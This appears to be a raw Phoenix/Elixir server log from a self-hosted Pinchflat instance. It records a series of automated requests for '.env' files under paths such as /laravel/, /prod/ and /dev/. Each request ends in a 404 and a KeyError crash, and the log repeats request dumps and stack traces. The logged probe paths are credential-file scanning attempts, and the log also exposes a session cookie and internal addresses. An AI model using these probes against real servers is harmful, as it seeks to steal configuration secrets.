"24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11792.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/laravel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWnj8cXV7S1kABUmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:24.269 [info] GET /current/.env 17:14:24.269 [debug] QUERY OK source="settings" db=0.1ms idle=547.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:24.269 [debug] QUERY OK source="settings" db=0.1ms idle=547.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:24.270 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:24.270 [error] #PID<0.11793.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 26) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /current/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /current/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11793.0>, params: %{}, path_info: ["current", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/current/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWolsXqLMUFwABUoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /current/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:24.543 [info] GET /prod/.env 17:14:24.543 [debug] QUERY OK source="settings" db=0.1ms idle=619.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:24.544 [debug] QUERY OK source="settings" db=0.1ms idle=549.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:24.544 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:24.544 [error] #PID<0.11794.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 27) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /prod/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /prod/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prod/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11794.0>, params: %{}, path_info: ["prod", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/prod/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWpnDRVbpTbMABUqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prod/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /prod/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prod/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{}, body_params: %{}, cooki (truncated) 17:14:24.815 [info] GET /dev/.env 17:14:24.816 [debug] QUERY OK source="settings" db=0.1ms idle=821.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:24.816 [debug] QUERY OK source="settings" db=0.1ms idle=546.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:24.816 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:24.816 [error] #PID<0.11795.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 28) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /dev/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11795.0>, params: %{}, path_info: ["dev", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/dev/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWqn9On8W9b4ABUsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", 